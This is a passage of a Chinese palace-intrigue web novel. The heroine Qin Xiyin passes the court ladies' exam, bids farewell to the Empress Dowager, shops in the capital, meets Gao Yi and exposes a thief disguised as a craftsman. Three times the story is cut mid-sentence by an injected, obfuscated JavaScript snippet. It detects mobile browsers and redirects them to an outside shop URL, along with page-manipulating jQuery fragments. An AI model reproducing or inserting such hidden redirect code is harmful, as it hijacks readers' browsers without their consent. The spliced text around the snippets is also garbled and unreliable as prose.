等她醒来时,觉得哪里怪怪的。 但是,她环顾四周,又没发现什么奇怪之处。 这时,有个考生对秦惜音说道:“哎,你的袖子……” 秦惜音这才发现,自己的两只袖子上竟然被人泼了墨汁,怪不得她觉得不对劲。 她赶紧把外衣脱下,发现里面的几层衣服也渗透了一些墨汁,不过不太明显。 事到如今,外衣肯定不能穿了,但没有外面这层衣服,又不太好看。再加上衣袖处没法遮掩的墨汁,一会在仪容仪表环节,她肯定要被扣分。 她不知道是谁给她泼的墨汁,她看了看在场的人,只觉得她们的表情都是惊讶的,看不出谁在假装。 逢春的眼神似乎流露出一丝庆幸,但也未必是逢春。可能逢春只是在庆幸,秦惜音下午可能会被扣分。 离面试只有一炷香的时间了,现在去追究是谁干的,已经来不及了。 秦惜音想了想,拿过剪刀和针线,把自己的外衣改成了一件马甲,套在外面。 马甲没有衣袖,墨汁的问题也就差不多解决了。 但是,她剩下的几层衣服,也沾了少许的墨汁,很难遮掩。 秦惜音想过把墨汁绣成墨梅,但时间来不及,而且墨汁的分布很不均匀,也没法全部绣成墨梅。 这时,有女官来通知众位考生,准备参加面试。 秦惜音急中生智,从荷包中拿出一条白玉繁花项链,戴在脖子上。 这条项链是皇帝赏赐给她的首饰之一,吊坠是用和田白玉做成的,链子是金子做的,整条项链上还镶嵌着很多由贝壳、玉髓、珍珠等材料做成的小花朵,整体看起来非常亮眼。 这是秦惜音最喜欢的首饰,但平时戴着太张扬了,所以她都是藏在荷包里,随时拿出来看看。 没想到,这次派上了用场。 44. 促膝长谈 她戴着这么一条项链,主考官们的目光应该会被项链吸引,顾不上看她的衣袖是否干净了。 于是,秦惜音自信满满地走进了考场。 想让别人不注意自己的衣袖,自己就要表现得正常一些,不要刻意对衣袖遮遮掩掩。 在秦惜音自然的表现中,在场的人都没发现她衣袖上有墨汁。 面试是三人一组,考官们会问一些问题,由三人各自作答。 一个女官问道:“如果你们在为主子绣衣服时,感到脖子疼、手也疼,但这件衣服主子急等着要,你们该怎么办?” 第一个考生道:“我会尽量克服身体上的不适,完成绣活。” 第二个考生道:“我会先服用一些止痛的药物,让自己感觉不到疼痛,然后把绣活干完。如果在疼痛状态下干活,可能会干得不好,惹主子不喜。” 接下来,轮到秦惜音作答。 秦惜音道:“我会请求要好的小姐妹,帮我完成这单活,这次的酬劳也都给她,我自己休息一下。因为刺绣绣到身体疼痛的地步,肯定已经是长时间劳作了,不能不顾身体,继续劳作,否则身体很快会垮掉。只有劳逸结合,才能长久地当好差。” 主位上的几个考官们点了点头。 她们看见秦惜音所戴的繁花项链,都眼前一亮,舍不得移开眼睛。 当然,她们也就没有多余的眼神去看秦惜音身体的其他部位。 接着,又有一位考官问道:“假如在某次宫宴时,你和下属们侍立在侧。你的一位下属忽然打了个喷嚏,引起了主子们的注意,你该怎么办?” 第一位考生答道:“我会和那个下属一起跪下请罪,请求主子饶恕。” 第二位考生答道:“我会说自己管教不严,把那位下属带回去惩罚。” 秦惜音道:“我会看那位下属站在哪里。如果她站在某位妃嫔身侧,我就夸那位妃嫔天生丽质,自带奇香,吸引了蝴蝶过来。而那位宫女对蝴蝶身上的粉末过敏,才会打喷嚏。 如果那位下属站在花树下,我就夸种这棵花树的妃嫔种得好,花香扑鼻,可惜那个小宫女对花粉过敏,才会打喷嚏。 如果这个解释不能让主子满意,我再跟那位下属一起跪下请罪。” 主考官们点了点头。 接着,她们又问了一些问题,秦惜音都流畅地作答。 面试的结果不会马上出来,几位考生面试完毕后就直接离开。 不过,她们还是可以从考官们的神情中,判断出自己分数的高低。 秦惜音觉得,自己的分数应该低不了。 第二天,是才艺考试的时间。 考试时间为半天,共设有厨艺区、刺绣区、种植区、整理床铺区、礼仪区、算术区、写字区、音乐区等十几个区域,每位考生可以选择自己熟悉的领域,去对应的区域参加考核。 如果精通好几样,也可以参加多区域的考核,但所有人的时间都只有半天。 如果参加的比赛过多,难免会在质量上差一些。 比如花一个时辰去做菜,就可以做一道相对复杂的菜;但是如果花一刻钟的时间去做菜,那就只能做个快手菜,整体看上去可能不如别人的菜好。 每个区域都是十分制,理论上参加的考试多一些,总分也会高一些。如果只参加一样考核,顶天了只有十分。 众考生们各自忙碌起来,走向自己最熟悉的区域。 秦惜音先去了音乐区,参加考核。 音乐区的主考官是林锦屏,也是秦惜音的老熟人了。 之前林锦屏和月季一样,卷入了荀白鹤的命案。后来秦惜音查清真相,还了她们清白。 因此,林锦屏十分热情地对秦惜音道:“惜音,你是来考核音乐的吗?” 秦惜音道:“是的。” “那我弹奏几首曲子,你说出曲子的名字。” “好的。” 林锦屏一连弹了五首曲子,秦惜音都说对了名字。 接着,林锦屏说了一首曲子,让秦惜音弹奏,秦惜音也都弹对了。 林锦屏拿过考生名册,在秦惜音的名字下面写了“音乐区十分”。 接着,秦惜音又参加了好几个区域的考核,都取得了不错的成绩。 几天后,女官考试的结果公布,秦惜音以压倒性的优势取得第一名。她比第二名高了八十多分,也是有史以来的最高分。 女官们商议过后决定,秦惜音只需当一个月的女史,作为见习期,然后就可以直接升为女官了。 本来女史的任期是半年到几年不等,看自己的表现。 秦惜音被分配到了尚仪局的司籍手下,做一名女史。这个部门的职责是掌管经籍图书,如果皇帝、后妃想看什么书,就找出来送过去。 另外,还负责宫内宫女们的教学。宫女们有空的时候,可以来这里上课,但不强制。 一些对文化知识感兴趣的宫女,或是想将来考女官的宫女,会过来学习。 女史是部门里地位最低的,要听各位长官的吩咐。虽然没有品级,但也算脱离了宫女的层面,成了女官预备役。 秦惜音得知自己的考试结果,非常开心。两天之后,她就可以正式入职了。 这两天,她要跟太后和身边的宫人们辞行,顺便准备行李。 她先来到太后面前,说了考试结果。 太后笑道:“我已经知道了。白尚宫、骆尚宫她们都跟哀家说,从未见过像你这般优秀的考生。六尚局的大部分知识,你都懂一些,可称通才。惜音,去了六尚局后,你要好好做事,争取早日升官。 哀家知道,你不是池中之物。” 秦惜音惊喜道:“谢太后娘娘赏识。” 接着,太后命人拿来一套衣服,交给秦惜音。 秦惜音惊讶道:“太后娘娘,这套衣服像是女官的衣服。” 太后点头道:“没错。这是哀家当年做六品女官时的衣服,现在赠与你了。等你升上六品,就能穿了。哀家盼着你早日穿上这身衣服。” 秦惜音受宠若惊:“太后娘娘的官服,奴婢怎敢领受?” 太后笑呵呵地道:“你配得上,收起来吧。哀家留着这身衣服,也没有用处。” “多谢太后娘娘。原来您也是女官出身。” “是啊,哀家年轻时跟你一样,也想成为官员,靠自己取得成绩。哀家一直兢兢业业,不停地干活、学习,终于从女史升为六品女官。没想到,在我还没升上五品的时候,就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751571|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先帝看上了,成了妃嫔。” 秦惜音惊讶道:“原来是这样……那您愿意吗?” 太后淡然一笑:“我愿不愿意,重要吗?” 秦惜音心下一沉。原来,太后也是一个被硬生生掐断梦想、困在深宫的女人。 她如今这样云淡风轻,但她年轻时一定意志消沉过,也不知道是怎么熬下来的。 太后见秦惜音面色沉重,笑道:“你不用为哀家伤感,其实哀家现在这样也不错。不过,哀家未竟的理想,就要由你来实现了。” “是,奴婢一定尽心竭力。” “你后天就要离开寿康宫了,这两天就别干活了,陪哀家坐坐。” 秦惜音一开始不敢坐,但太后屏退了下人,坚持要秦惜音坐在自己身边,秦惜音只能半坐在凳子上,把背挺得笔直。 太后笑道:“不用这么拘谨,你就当陪长辈说说话。” 秦惜音感动道:“太后娘娘,您对奴婢真好。” “哀家只是让你坐下,你就感动成这样……这就是权势的力量吧,怪不得人人都想要权势。” “太后娘娘……” “哈哈,哀家只是感慨一下而已。” 接着,太后把果盘推到秦惜音面前,道:“你吃水果吧。哀家上了年纪,水果吃多了会胃疼。” “是,多谢太后娘娘。” 秦惜音象征性地吃了两口,也没敢多吃。 过了一会,秦惜音问道:“太后娘娘,如果您不愿意成为妃嫔,为何不向先帝说明呢?” 太后笑了:“你以为哀家没说吗?只是,不是每一个皇帝都愿意对自己看中的女人放手的。皇帝拥有至高无上的权力,只要他想,就可以强.迫任何人。” 听太后这么说,秦惜音越发觉得当今皇帝难能可贵。 虽然他流放了自己的家人,但从帝王的角度来说,他也算是一位明君。 接着,太后拿出一本书籍,说道:“这本书,是哀家当年做女官时写的心得经验。等你升为七品女官,哀家会把这本书送给你,助你更进一步。” 秦惜音赶紧叩谢:“谢太后娘娘。” “起来吧,你这孩子,不用动不动就跪下,这里也没外人。” “是。” 接着,太后又跟秦惜音聊了一会。 等太后累了,秦惜音才告辞。 她回自己房间的路上,听见树丛后面传来哭泣的声音。 秦惜音正想走上前去看看,但她忽然听出,这哭声是逢春发出来的。 她这次又没考上女官,可能心中难过,所以躲起来哭。 如果秦惜音骤然撞破,彼此都尴尬。 因此,秦惜音决定不过去了,就当没听见。 她偷偷回到了自己的房间,心中有些感慨。 逢春虽然害过她,但也不能说很坏,至少没有危及她的生命。 逢春一直考不上,也不能怪她自己,要怪就怪她成长的环境,没有给她一个接受教育的机会。 秦惜音觉得自己运气好,成为相府千金,父母又开明,允许她学习,所以她才能这么优秀。 但是,她也跌落了尘埃,要从底层一步一步往上走。 众生皆苦,唯有自渡。 45. 出宫采买 秦惜音给高毅写了一封信,说自己考上了女官,成为女史。 接着,她把信交给一个信得过的小太监,托他把信交给高毅。 第二天,秦惜音收到了高毅的回信,信上写道: “惜音:闻卿高升,不胜欣喜。卿乃九霄鲲鹏,必将大展宏图。毅翘首以盼,愿来日与卿共立朝堂,同安社稷。卿处深宫,望善加珍重。切切。” 秦惜音十分开心,把这封书信看了十几遍,然后才珍藏起来。 第二天,秦惜音去了尚仪局的司籍司报道。 司籍司有司籍、典籍、掌籍各二人,一共六名女官。女史有十人。 秦惜音见过同部门的人之后,就到了新宿舍,收拾一下自己的床位。 十名女史是住在一个房间的,房间虽然大,但住十个人还是有点挤。 每人一个床位,一个衣柜,两个箱子,能使用的东西也不多。 秦惜音有很多皇帝和太后赏赐的东西,这里应该放不下。 如果要托别人保管,一来怕不安全,二来怕麻烦别人。 她想起自己宫外有座宅子,是皇帝所赐,正好可以用来放东西。而且,自己还没去过,正好找个机会去看看。 因此,她去询问掌籍荆双蝶,是否有出宫采买的活,她愿意跑一趟。 荆掌籍道:“司里确实缺了一些笔墨纸砚,还需要一些新的凳子。我把单子给你,你按照单子去采买。先给你三十两。” “是。” 秦惜音正准备离开,忽然有一个叫黄莺的女史跑了过来,对秦惜音说道:“惜音,你是不是要出宫?你帮我买一包桃酥、一包黑米糕、一盒杏仁七白粉。” 秦惜音笑道:“好的,黄莺姐姐。” 接着,秦惜音回房检查了一下自己的物件,考虑该把什么东西带出宫去。 黄金、白银可以各拿一部分,存到宫外的钱庄去,剩下的留在身边备用。 首饰也可以拿一半出去,存放在宫外的宅子里。 至于茶叶,留下两盒自己喝,剩下两盒也存放起来。 皇帝赏赐的20匹布,自己留下四匹,剩下的拿出宫去。 还有马踏飞燕摆件,看着挺贵重的,摆出来太显眼,藏起来又费地方,也送到宫外的宅子去。 秦惜音把要带的东西全部包好,然后出了宫。 出宫之后,她先按照房契上写的地址,找到了自己的宅子。 宅子位于京城比较繁华的地方,虽然不是在正中心,但地段也不便宜。 黑色的乌檀大门高大阔气,上面上了一把铜锁,秦惜音有钥匙。 令人惊喜的是,门上已经有匾额了,上面写着“秦府”。 秦惜音喃喃自语:“秦府……我自己的府邸……爹,娘,我出息了……” 秦惜音想着,自己的家人如果有被赦免的一天,相府老宅肯定不会归还,到时候秦家人都可以住在自己的宅子里,或是她再出钱,另外置办一处宅院给家人。 她打开铜锁,走了进去。 这是一座三进的院落,古木遮天,树下有石桌石凳,夏天在树下乘凉也不错。 第二进院落里有个小池塘,旁边栽着几株柳树,颇有几分杨柳依依的感觉。 池塘里没有鱼,大概是因为平时没人住,怕鱼会饿死。 第三进院落和第二进院落通过一个月洞门相连,通过月洞门,可以看见墙上如瀑布般的紫藤,十分赏心悦目。 走进第三进院落,除了房间之外,还有一座三层高的亭子。 平时无事,登上亭子,就可以把周围的建筑、行人尽收眼底。 秦惜音登上亭子,小坐了一会,吹吹风,十分惬意。 过了一会,观景完毕,她走了下来,检查了所有房间。 她决定把第三进院落最大的房间作为自己的卧室,旁边的几间房作为自己日常活动所用。 她走进卧室,这里暂时没什么东西,只有一张简单的竹床,一个小箱子。 她先把自己带来的东西放下,想着一会去买几件家具,简单布置一下。 小箱子里可以装下两盒茶叶和一些首饰,其他东西放不进去。 竹床上没有被褥,她不管不顾地随便一躺,觉得凉丝丝的,很舒服。 这里完全属于她自己,而且没有别人,这感觉别提有多棒了。 以前她虽然生活在相府,锦衣玉食,但从没有体验过这样清静闲适的感觉。 更重要的是,她知道这里是她一个人的家。 即便以后跟家人一起住,家主也是她。 这是一种全新的体验。 躺够了,她站起身来,决定去采购东西。 先买司籍司所需要的物品,再去给自己采购家具,然后给黄莺买吃的,自己也可以买点。 不过在那之前,先把自己的金银去钱庄存起来。 秦惜音选择了一家比较大的老字号——汇丰钱庄。 以前,秦家的钱大部分都存在那里,还是比较靠谱的。 她拿出地图,找到了一家离自己最近的汇丰钱庄,倒是也不远,可以走路过去。 但她又考虑到,自己携带大额金银出门,虽然掩饰得很好,但难保不会被一些混混、小偷给看出来。 那么,选择坐轿会安全一些。 于是,她去轿行租了一顶软轿,让人把她抬到汇丰钱庄去。 没过多久,就到了目的地。 秦惜音给轿夫们付了账,又给了他们一些碎银子,轿夫们都欢喜地去了。 看到轿夫们的笑容,秦惜音自己的心情也好了许多。 有闲钱真不错,不仅能改善自己的生活,还能广结善缘。 秦惜音花钱一向比较大方,她认为钱是流动的,能从自己这里流出去,自然有一天会流回来,不用担心。 进了钱庄后,秦惜音把自己的金银拿出来,存到柜上。 伙计见到这么多金银,眼睛都直了,不住地打量着秦惜音,似乎在猜测她的身份。 秦惜音并不喜欢这样的打量,她干脆侧着站,不让伙计看到自己的正脸。 过了一会,伙计把银票递给秦惜音,道:“姑娘,您的钱存好了,把银票收好。以后要用钱时,拿着银票去汇丰银号的任意一家分号都能取钱。” 秦惜音点了点头,道:“多谢了。” 秦惜音正准备离开,这时,一个身材瘦长、眼神精明的中年男人叫住了她。 这个男人手上戴着一个成色很好的玉扳指,还拿着一串奇楠香珠在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751572|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上盘着,头上戴着一顶黑色帽子,帽子中间有一块比较大的猫眼石,非常引人注意,一看就价值不菲。 这男人笑道:“姑娘,我是这家钱庄的二掌柜,有一些比较好的理财项目,想介绍给您。不如您先去厢房稍坐,我给您介绍?” 秦惜音笑道:“不用了,我赶时间。” “那我只给您介绍一两款比较划算的产品,怎么样?” “抱歉,我对这个不感兴趣。” 说着,秦惜音就要离开。 这个男人说道:“姑娘,你拥有不少的资产,如果只是存在钱庄里,利息很低,为何不听听更好的理财建议呢?” “我建议你,不要建议。” 说着,她赶紧往外走,还尽量往人群聚集的地方去。 这样,那个掌柜就不太容易找到她。而且一个掌柜,也没法长时间离开柜台。 秦惜音可不想掺和进什么理财项目,现在的骗子太多了。 就算对方是钱庄的掌柜,你也很难搞清楚他所说的项目是他个人牵线搭桥的,还是钱庄的投资。 如果参与钱庄的投资,会靠谱一点。就怕这些掌柜打着钱庄的名义,私下收集用户的资金,去参与什么高风险的项目,或者干脆就是直接骗钱。 到时候,不仅不会有预想的利息,连本金也会失去。 像这种事情,秦惜音以前听说过很多次。 只要不贪利息,就不会被骗。只要不听人家介绍,就不会心动。 从源头上切断亏钱的风险,就是这么简单。 秦惜音觉得自己太机智了。 接着,秦惜音东窜西窜,来到一家饭馆。 正好肚子饿了,她就进去点菜。 这家饭馆的菜还是挺丰富的,秦惜音是吃素的,也有很多东西可以点。 她点了一碗荠菜水饺、一碟马蹄糕、一碗豆腐脑,再来几碟酱菜,堪称完美。 她在等餐的时候,环顾四周,发现有一个矮胖的圆脸妇人时不时地看向自己。 秦惜音觉得有些奇怪,自己并不认识那个胖妇人。 她只好低着头,降低自己的存在感。 过了一会,菜上齐了。 秦惜音刚吃了两口,那个矮胖的圆脸妇人就坐了过来,笑呵呵地跟秦惜音说话:“姑娘,吃饭呢?” “嗯。大婶,我们认识吗?” “不认识。不过,从刚才在汇丰钱庄的时候,我就注意到你了。” 秦惜音惊疑不定:“什么?” “姑娘你别误会,我没有恶意。其实,我是一个媒婆。我看姑娘孤身一人,但又挺有资产的,不知道家里是做什么的?如果你未曾婚配,我可以给你介绍对象……” 秦惜音哭笑不得:“不用了。大婶,难道我刚才从汇丰钱庄离开的时候,您就跟着我了?” “是啊,你这七拐八拐的,我可费了好大功夫才跟上你……姑娘,我是靠保媒拉纤为生的,有几十年的保媒经验。你可以放心,我一定给你找个好对象。我都一个月没开张了,快吃不上饭了。 你给我个机会,我保证还你一个好对象。” 秦惜音正想拒绝,忽然有一道清润中带着刚直的声音说道:“不用了,她已经有对象了,我是她未婚夫。” 46. 邂逅相逢 秦惜音正想看看是谁这么孟浪,抬头一看,竟是高毅来了。 秦惜音喜出望外,随即红了脸颊。 那媒婆惊讶道:“姑娘,他真是你未婚夫?” 秦惜音说不出口,但为了打发走媒婆,只得说道:“没……没错。” 媒婆有些可惜地说道:“你不早说,害我白跟了一路……” 秦惜音道:“大婶,您要是吃不起饭,我点的这些食物可以给您吃。” “不用了……” 那媒婆一边叹气,一边走了。 秦惜音回头看高毅,见高毅开心地笑着,眼中含有戏谑之意。 秦惜音有几分羞赧,说道:“哪有你这么说话的?” 高毅笑道:“我不这么说,怎么打发走那个媒婆?再说,我也没说错。难道你不打算嫁给我?” “你又没有三媒六聘,我为什么要嫁给你?” “哦,那我把刚才那个媒婆找回来,请她来为我说媒,怎么样?” “你给我闭嘴。” 高毅低低地笑了。 秦惜音摸了摸发烫的脸颊,想稳定自己的心神。这时,高毅却摸了摸她的头,问道:“你怎么出来了?” “我……我出宫采购东西。你呢?” “我今日率众追捕一个贼人,你看那边。” 秦惜音见饭馆的西北角上,坐着十来个差役,应该是跟着高毅出来的。 高毅道:“我们丢失了贼人的踪迹,我就先带差役们来吃个饭了。” “那……那你赶紧过去吃吧,我看差役那桌已经上菜了。” “我跟你一桌。” 秦惜音没有拒绝,低着头坐下。 高毅坐在她左侧的位置,又点了几个菜。 他看了一眼桌上的菜,道:“你只吃这么点?” “够了,已经很多了。” “怪不得这么瘦。” “有吗?我觉得我不瘦。” “还是胖一点好,太瘦了容易生病。你现在成了女史,不用时时刻刻在主子跟前伺候,对饮食可以不用把控得那么严格。” “嗯,我记住了。” 以前当宫女的时候,有一条规矩是饭不能吃饱,水不能多喝。 否则,伺候主子的时候如果想出恭,就麻烦了。 有时候,在主子身边一站就是几个时辰,没有自己的时间。所有的宫人都不敢多吃,甚至对于食物也有严格的要求。 像豆子这种容易胀气的食物,还有像西瓜这种寒凉的食物,肯定不能吃。 这种生活,秦惜音也过过好几个月,知道其中的苦处。 过了一会,高毅点的菜也上桌了。 高毅给秦惜音夹了木耳、豆皮、菠菜、煎蛋等食物,把秦惜音的碗都堆满了。 另外,还有一份糖水——苹果黄芪水,是专门给秦惜音喝的。 秦惜音笑道:“你知道我只吃素菜?” “知道,以前听你大哥说过。你气色不好,喝点苹果黄芪水。” “嗯。” 秦惜音笑着喝了几口,只觉得心情轻飘飘的,如在云端。 她有一种不真实感。 在她家落难之后,真的有人会对她这么好吗? 可是,高毅就在她眼前,是一个实实在在的人。 这是真的,她幸运地获得了一份幸福。 过了一会,秦惜音问道:“高毅……你家里人有没有给你相亲?” “以前有,不过都被我回绝了。以后不会再有了,因为我已经明确跟几个近亲说过,我自己看中了一个姑娘,除了她,我谁也不要。” 秦惜音一边笑着,一边吃东西。但她心里太开心了,竟然没尝出食物是什么味道。 “对了,高毅,你们要追的贼人丢了,该怎么办?” “吃完饭,接着追。” “你们不怕他跑远了,追不上吗?” “不会,我们有几个暗哨,可以查找贼人的踪迹。等暗哨回来报信,我们就知道该往哪个方向追了。你接下来要去哪里?” “我要去买点笔墨纸砚和家具。” “好,今天不能陪你逛了,改天有机会,再一起逛逛。” 秦惜音黯然道:“我出宫也不是那么容易的……” “没关系,我等你。” “哪怕几个月见一面也能等?” “当然,因为我只需要等你一个人。” 接着,高毅给了秦惜音一张银票,道:“今天陪不了你,你自己逛逛,想买什么就买。” “你上次给我的钱,还没花呢。” “不用给我省钱,想花就花吧。” “嗯。” 秦惜音打开银票一看,面额是五十两,足够买很多东西了。 高毅道:“要是不够花,你先把上次的五百两用了,我下回再给你。” “不用了,这些钱够我花好久了。” 高毅有些心疼地看着她:“别委屈自己,你以前可是相府千金啊。” “哈哈,以前我的日常用度都是家中供给,我自己也很少花钱的。” “惜音,我一定会让你过上以前那样的好日子。” 秦惜音歪头看着高毅:“为什么不是我自己让自己过上好日子?我觉得我有这个能力。” “哈哈,没错,惜音最厉害了。再加上我,那就是双倍的好日子。” 秦惜音也禁不住期待起未来的日子…… 可是她知道,她不能沉溺于此。 事业刚刚起步,她还不能分心。 过了一会,高毅吃完了饭,看向某个方向,神情凝重。 接着,他对秦惜音道:“惜音,暗哨传回消息了,我得去抓贼了。你自己保重。” “嗯。” 高毅带着一堆差人急匆匆地跑了。 过了一会,秦惜音吃完了,想结账,但店小二说,刚才有位公子结过账了,还多给了一些钱,让店家给秦惜音打包一些好吃的零食。 秦惜音很开心,接过店小二给的零食,一边吃,一边往卖文房四宝的店铺走去。 她一连逛了好几家店铺,选了其中商品质量和价格都是中等的店铺,购买文房四宝。 这些笔墨纸砚大部分是给来上课的宫女们用的,也不需要太好。但如果太差了,就失了宫里的体面。 秦惜音买了80支笔、50块墨、一千张纸、20个砚台,跟老板一番讨价还价,一共花了11两二钱。 这钱花得没超出额度,秦惜音还有很多钱来买凳子。 由于她买的文房四宝太多,一下子也拿不走,就让老板先打包好,等一下她叫一辆车来运。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751573|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先付定金,等来拿货之后付尾款。 老板道:“好嘞,姑娘,我先给您打包。好久没来您这样的大主顾了。” 接着,秦惜音去逛了家具铺。 她不仅要给司籍司采购凳子,还要给自己采购家具,来专门的家具铺方便一些。 这里人来人往,十分热闹。 伙计招呼道:“要看点什么?” 秦惜音道:“我需要便宜又结实的木凳八个,另外,还需要一些质量不错的家具,包括衣柜、箱笼、茶几之类的,价格可以贵一些。” “好嘞,您看这边。” 伙计先给秦惜音介绍凳子,这些凳子从几十文到几百文的都有。越贵的凳子,看起来越漂亮。 秦惜音想着,好不容易出宫采购一次,买稍微好一点的凳子,一劳永逸,免得坏了再来买。 再说,司籍司毕竟是宫里的地盘,也不能摆太磕碜的家具。 因此,她选了200文一个的凳子,一共8个,价格是一两六钱。经过一番讲价,还价到一两五钱。 接着,伙计趁机推销道:“姑娘,您买了凳子,要不要顺便买几个软垫?我们这儿有纯棉花软垫,外层的布是丝绸的,保证软和又舒服。像这种硬凳子,坐久了身体肯定不舒服,有个软垫会好一些。” 秦惜音想着,如果要让小宫女们喜欢来上课,至少上课的环境一定要好,得让她们坐得舒服。 软垫看着是额外的消费,其实这笔钱也不算白花。 她问了软垫的价格,是200文一个。 秦惜音决定买30个,这样女官、小宫女们都能用。如果有得多,还能藏起来备用。 30个软垫的价格是6两银子,秦惜音还价到5两8钱。 这些东西总共花了十八两多,而掌籍给她的银子是三十两,她没有超支,反而省下了十多两,应该能交差了。 完成了这次出宫的主要任务,秦惜音心情大好,开始给自己采购家具。 她的宅子房间比较多,现在也不需要把所有房间都布置好,只需要布置两三个自己常用的房间就好。 她挑了一些衣柜、箱笼、床头柜、茶几、凳子、支踵、茶桌、凭几等等,还挑了一张琴凳。 以前,她有一间琴室,专门用来放琴,她有空会去弹琴。 现在,她想复原一下之前的琴室。 至于自己的琴,高毅那儿应该有。 得找个机会,让高毅把买下的自己的物件都搬到秦惜音的宅子里。 还有,宅子既然有东西了,也得找个看宅子的人,也得跟高毅商量一下。 秦惜音心里这么琢磨着,忽然发现,自己似乎把高毅当成了一家人,所以老想找他商量。 想到这儿,她的脸又红了,还好没人在意。 买这些家具,一共花了四十多两。 她让老板把这些家具运到自己的宅子里,老板欣然同意,也没收运费。 毕竟秦惜音都买了这么多东西了。 不过,她本人得跟去,否则也打不开宅子的门。 秦惜音看着伙计们打包自己的家具,确保没有磕着碰着。 这是她头一回给新家采购家具,要图个吉利,避免损坏。 这时,忽然有个穿着白色交领衣服、身材略胖的女人跑了进来,一溜烟地往后院方向跑。 47. 巧捉贼人 那个女人差点撞到秦惜音,秦惜音往旁边一闪,才堪堪躲过。 这时,有几个伙计叫道:“哎,那位姑娘,别往后院去,后院是工匠们干活的地方……” 可是,那个女人不但没有停下,反而加快了脚步。 过了一会,高毅带着一堆差人冲了进来,抓住一个伙计问道:“刚才有没有一个穿白色衣服、长得又高又胖的女人跑进来?” 伙计点头道:“有啊,她朝后院方向去了……” 高毅正准备去后院找人,忽然发现秦惜音也在,眼中流露出惊喜之色。 但是他有公务在身,没法跟秦惜音交谈,就只点了点头,关切地看了她一眼。 秦惜音也目不转睛地看着他往后院跑去。 她也没想到,今天还能再次遇见高毅。 这时,官差的动静惊动了一些顾客,他们纷纷跟到后院去看热闹。 秦惜音灵机一动,也混在看热闹的人群中,这样就能再看看高毅了。 一群人往后院走去,不过刚到后院,就被几名官差给拦下了。 官差们不让闲杂人等进入,大家只能隔着门看。 只见高毅带着一群人搜查后院,但后院除了一些工匠在干活外,好像也没有其他人。 而且,后院是没有房间的,只有几面围墙。四周也没有大树、假山等可以隐藏,只有一些爬山虎。 此刻,工匠们都惊慌失措地站了起来,不安地看向高毅等人。 高毅问道:“刚才有没有一个白衣服的女人跑进来?” 谁知,工匠们都说:“没有啊。” 高毅皱眉道:“那个女人是大理寺要逮捕的钦犯,如果你们包庇她的话,也会被问罪的。” 工匠们战战兢兢:“大人,我们真不敢说谎。” “是啊,我们没见到什么白衣女人。” “大人,您是不是看错了?” 高毅道:“奇怪,我明明见她跑到这间家具铺里来的。” 有个工匠道:“大人,这间家具铺很大,说不定她在前面,您去前面找找吧。” 高毅道:“不对,伙计亲眼看见她往后院跑来的。” “那我们就不知道了……” “我们真不知道啊,官爷别抓我们……” 高毅神情凝重,环顾在场所有人,又抬头看了看围墙。 这时,有个官差道:“大人,她会不会越墙而走了?” 高毅道:“如果她真的越墙而走,工匠们应该也会看见才对。她的轻功还没有快到让普通人看不见的程度。” 工匠们也说道:“大人,我们没看见什么白衣女子翻墙离开啊。” “是啊,您看这墙上全是爬山虎,如果她真的翻墙了,肯定会有某处的爬山虎被踩掉的。但是,这些爬山虎完好无损,完全没有被踩踏的痕迹啊。” 高毅闻言,觉得有道理,跟下属们仔细查看了满墙的爬山虎,确实没有人为踩踏的痕迹。 高毅皱眉道:“奇怪,难道人凭空蒸发了……” 这时,有几个工匠催促道:“大人,如果您找不到人的话,请先离开吧。我们还要干活呢。” “是啊,这一批活很赶,我们日夜赶工,也未必能干完。这样吧,如果我们见到那个白衣女子,就去大理寺告诉您。” 高毅觉得也不能耽误人家干活,因此有想走的迹象,但又不甘心就这么离开。 此时,人群中的秦惜音也很疑惑。 因为,她也看见那个白衣女子往后院去了,为什么偏偏没有呢? 那白衣女子总不会隐身术吧? 秦惜音茫然地看着后院的众人。 忽然,她觉得有一个工匠有点不对劲。 她又仔细看了看,心中浮现出一个大胆的想法。 于是,她高声道:“官爷,我可以进来吗?我好像发现了线索。” 高毅发现说话的是秦惜音,嘴角微微上扬,又马上恢复一本正经的表情,对几个守卫在门口的差役道:“放那个姑娘进来。” 秦惜音进了后院后,先对高毅行了个礼,假装不认识她。 高毅也配合她演戏,问道:“这位姑娘,你有什么线索?” 秦惜音认真地看着这些工匠。 接着,她走到一个有些驼背、长着一脸络腮胡的灰衣工匠面前,抓住了他的手。 工匠惊讶道:“姑娘,你抓着我干什么?” 秦惜音对高毅说道:“大人,他就是你们要找的那个白衣姑娘。” 在场之人都很震惊,围观群众窃窃私语,都不相信。 但是,高毅相信她。 高毅也走了过来,抓住了那个工匠的另一只手。 